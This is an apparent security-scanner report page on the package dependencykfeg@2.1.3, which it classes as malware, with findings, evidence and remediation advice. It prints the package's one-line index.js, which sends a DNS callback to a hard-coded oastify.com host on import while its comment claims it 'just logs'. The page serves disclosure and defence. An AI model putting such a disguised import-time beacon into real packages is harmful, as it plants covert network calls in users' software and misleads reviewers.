registry / Malware / dependencykfeg / 2.1.3

dependencykfeg@2.1.3

Account utility library

AI Security Review

scanned 6d ago · by lpm-firewall-ai

The package's only entry-point behavior is an automatic DNS callback to an unrelated OAST host, which has no apparent account-utility purpose and is obscured by a misleading comment. The source does not show user data being sent, but the unexplained beacon is malicious behavior.

Static reason

No blocking static signals were detected.

Trigger

Loading the package entry point.

Impact

Signals package import activity to an unrelated callback service and exposes the DNS request to its resolver and destination.

Mechanism

A top-level `dns.lookup` queries a hard-coded OAST endpoint; no local data is passed in the lookup.

Attack narrative

Importing the account utility package automatically triggers a DNS query to an unrelated OAST endpoint. The entry-point comment says it only logs, while the source performs a network lookup; the code does not show local data being included in that query.

AI rationale

Evidence

index.jspackage.json

Network endpoints1

94bp9h8fte9kz9v8btc6in8qnht8h85x.oastify.com

Decision evidence

public snapshot

AI called this Malicious at 91.0% confidence as Malware with low false-positive risk.

Evidence for block

Importing the package immediately issues a DNS lookup to a hard-coded `oastify.com` host, unrelated to its account-utility description.
The entry-point comment claims it “just logs,” but the code performs a network lookup.

Evidence against

The package declares no lifecycle scripts.
The source shows no collected credentials, environment values, or other local data being sent.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

Trivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 166 B of source

Source & flagged code

3 flagged

index.jsView file

1// index.js — purely benign, just logs const dns = require('dns'); const os = require('os'); dns.lookup(`[redacted].oastify.com`, () => {});

High

Ai Review Evidence

Importing the package immediately issues a DNS lookup to a hard-coded `oastify.com` host, unrelated to its account-utility description.

index.jsView on unpkg · L1

1// index.js — purely benign, just logs const dns = require('dns'); const os = require('os'); dns.lookup(`[redacted].oastify.com`, () => {});

High

Ai Review Evidence

The entry-point comment claims it “just logs,” but the code performs a network lookup.

index.jsView on unpkg · L1

package.jsonView file

2"name": "dependencykfeg", "version": "2.1.3", "description": "Account utility library", "main": "index

High

Ai Review Evidence

The entry-point comment claims it “just logs,” but the code performs a network lookup.

Findings

3 High

HighAi Review Evidenceindex.js

HighAi Review Evidencepackage.json

HighAi Review Evidenceindex.js

Affected versions and remediation

This report applies to dependencykfeg@2.1.3.

See all versions of dependencykfeg for other recorded verdicts.

Avoid installing dependencykfeg@2.1.3. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-11-03 05:15:05.816Z (UTC).

Source advisory published: 2026-10-29 20:56:46.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

registry / Malware / dependencykfeg / 2.1.3

dependencykfeg@2.1.3

Account utility library

AI Security Review

scanned 6d ago · by lpm-firewall-ai

Static reason

No blocking static signals were detected.

Trigger

Loading the package entry point.

Impact

Signals package import activity to an unrelated callback service and exposes the DNS request to its resolver and destination.

Mechanism

A top-level `dns.lookup` queries a hard-coded OAST endpoint; no local data is passed in the lookup.

Attack narrative

AI rationale

Evidence

index.jspackage.json

Network endpoints1

94bp9h8fte9kz9v8btc6in8qnht8h85x.oastify.com

Decision evidence

public snapshot

AI called this Malicious at 91.0% confidence as Malware with low false-positive risk.

Evidence for block

Importing the package immediately issues a DNS lookup to a hard-coded `oastify.com` host, unrelated to its account-utility description.
The entry-point comment claims it “just logs,” but the code performs a network lookup.

Evidence against

The package declares no lifecycle scripts.
The source shows no collected credentials, environment values, or other local data being sent.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

Trivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 166 B of source

Source & flagged code

3 flagged

index.jsView file

1// index.js — purely benign, just logs const dns = require('dns'); const os = require('os'); dns.lookup(`[redacted].oastify.com`, () => {});

High

Ai Review Evidence

Importing the package immediately issues a DNS lookup to a hard-coded `oastify.com` host, unrelated to its account-utility description.

index.jsView on unpkg · L1

1// index.js — purely benign, just logs const dns = require('dns'); const os = require('os'); dns.lookup(`[redacted].oastify.com`, () => {});

High

Ai Review Evidence

The entry-point comment claims it “just logs,” but the code performs a network lookup.

index.jsView on unpkg · L1

package.jsonView file

2"name": "dependencykfeg", "version": "2.1.3", "description": "Account utility library", "main": "index

High

Ai Review Evidence

The entry-point comment claims it “just logs,” but the code performs a network lookup.

Findings

3 High

HighAi Review Evidenceindex.js

HighAi Review Evidencepackage.json

HighAi Review Evidenceindex.js

Affected versions and remediation

This report applies to dependencykfeg@2.1.3.

See all versions of dependencykfeg for other recorded verdicts.

Avoid installing dependencykfeg@2.1.3. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-11-03 05:15:05.816Z (UTC).

Source advisory published: 2026-10-29 20:56:46.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

AI Security Review

Decision evidence

Source & flagged code

Findings

Affected versions and remediation

AI Security Review

Decision evidence

Source & flagged code

Findings

Affected versions and remediation

Related packages

Other malware packages

Related packages

Other malware packages